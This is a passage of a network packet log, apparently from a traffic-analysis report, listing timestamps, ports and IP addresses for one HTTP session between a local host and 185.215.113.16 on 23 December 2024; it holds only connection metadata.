Dec 23, 2024 07:16:04.372867107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.373480082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.373498917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.373512030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.373552084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.373577118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.373734951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.374313116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.374422073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.374433041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.374640942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.374645948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.375190020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.375272036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.375283957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.375284910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.375330925 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.375499010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.376049042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.376112938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.376126051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.376137972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.376183987 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.450381041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.450416088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.450500965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.450902939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.451309919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.451426983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.451440096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.451491117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.451491117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.451627970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.452275038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.452322960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.452336073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.452558994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.452558994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.452575922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.452959061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.453078032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.453089952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.453285933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.453563929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.453563929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.454001904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.454099894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.454111099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.454329967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.454837084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.454837084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.454838991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.454962015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.454973936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.455187082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.455322981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.455349922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.455349922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.455367088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.455451012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.455462933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.455667019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.456511974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.456578016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.456588984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.456810951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.457494020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.457571030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.457571030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.457571030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.457571030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.457611084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.457724094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.457736015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.457945108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.458157063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.458169937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.458503962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.458585024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.458597898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.458818913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.459355116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.459355116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.459355116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.459355116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.459355116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.459989071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.460095882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.460108995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.460315943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.460891962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.460891962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.460961103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.461081028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.461093903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.461302996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.461571932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.461571932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.461702108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.461827040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.461838961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.462053061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.462604046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.462604046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.462770939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.462858915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.462871075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.462929010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.463098049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.463169098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.463876009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.463968992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.463980913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.464186907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.464287043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.464415073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.464427948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.464438915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.464438915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.464704037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.465055943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.465055943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.465220928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.465313911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.465327024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.465549946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.465564966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.465634108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.466082096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.466183901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.466195107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.466430902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.466443062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.466495037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.467058897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.467175961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.467187881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.467263937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.467447996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.467556000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.467861891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468000889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468004942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468241930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.468261957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468344927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.468688011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468771935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468784094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.468915939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.468986034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.469110012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.469517946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.469615936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.469628096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.469708920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.470151901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.470314026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.470432997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.470552921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.470566034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.470766068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.470771074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.470829010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.471383095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.471460104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.471473932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.471606970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.471684933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.471833944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.472136021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.472237110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.472248077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.472476006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.472476959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.472536087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.473028898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.473104000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.473114967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.473246098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.473356009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.473561049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.473905087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.474023104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.474035025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.474164009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.474232912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.474335909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.474754095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.474880934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.474898100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.475009918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.475102901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.475250959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.475658894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.475764990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.475776911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.475980997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.475996971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.476073027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.476566076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.476684093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.476696014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.476769924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.476896048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.477138996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.477420092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.477495909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.477514029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.477554083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.477730036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.477834940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.478256941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.478353024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.478363991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.478499889 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.478579998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.478636026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.479129076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.479228973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.479243040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.479351044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.479470015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.479526043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.480009079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.480120897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.480134010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.480349064 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.480366945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.480588913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.480935097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481008053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481019974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481051922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.481265068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481429100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.481749058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481863976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481878996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.481928110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.482158899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.482511997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.482707024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.482791901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.482804060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.482902050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.483021975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.483171940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.483515978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.483608961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.483620882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.483777046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.483825922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.483899117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.484360933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.484477997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.484489918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.484601021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.484679937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.484850883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.485258102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.485349894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.485362053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.485563040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.485594034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.485758066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.486124039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.486243010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.486253977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.486449003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.486968040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.486968040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.487138987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.487152100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.487164021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.487211943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.487344027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.487411976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.487869978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.487998962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.488010883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.488221884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.488728046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.488843918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.488856077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.489056110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.489140034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.489140034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.489140034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.489140034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.489588022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.489696026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.489707947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.489777088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.489922047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.489969015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.490489960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.490570068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.490581989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.490797043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.491214037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.491214037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.491370916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.491542101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.491554976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.491746902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.492240906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.492333889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.492345095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.492564917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.493143082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.493223906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.493236065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.493452072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.493498087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.493498087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.493498087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.493498087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.493498087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.493498087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.493974924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.494060993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.494072914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.494334936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.494849920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.494941950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.494952917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.495199919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.495728970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.495811939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.495824099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.496032953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.496078968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.496078968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.496078968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.496078968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.496078968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.496078968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:04.496642113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:04.496726036 CET	80	49739	185.215.113.16	192.168.2.5
